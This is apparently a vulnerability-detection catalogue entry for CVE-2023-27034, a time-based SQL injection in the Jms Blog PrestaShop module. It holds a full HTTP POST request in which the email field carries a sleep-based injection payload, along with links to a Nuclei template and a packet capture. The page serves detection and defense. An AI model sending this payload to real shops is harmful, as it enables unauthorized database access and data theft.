🔙 목록으로 돌아가기

CVE-2023-27034: Jms Blog - SQL Injection

TitleJms Blog - SQL Injection
AuthorMaStErChO
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire application and its underlying infrastructure.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.89821
CVE IDCVE-2023-27034
CWE IDCWE-89
Tags time-based-sqli cve2023 cve prestashop prestashop-module sqli intrusive joommasters vkev vuln

🔍 Vulnerability Description

The module Jms Blog (jmsblog) from Joommasters contains a Time Based SQL injection vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joommasters PrestaShop themes

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /module/jmsblog/index.php?action=submitComment&controller=post&fc=module&module=jmsblog&post_id=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Content-Length: 581
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="comment"



555

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="customer_name"





------------YWJkMTQzNDcw

Content-Disposition: form-data; name="email"



0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="post_id"



1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="post_id_comment_reply"



1

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="submitComment"



submitComment=

------------YWJkMTQzNDcw--

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-27034.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-27034.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A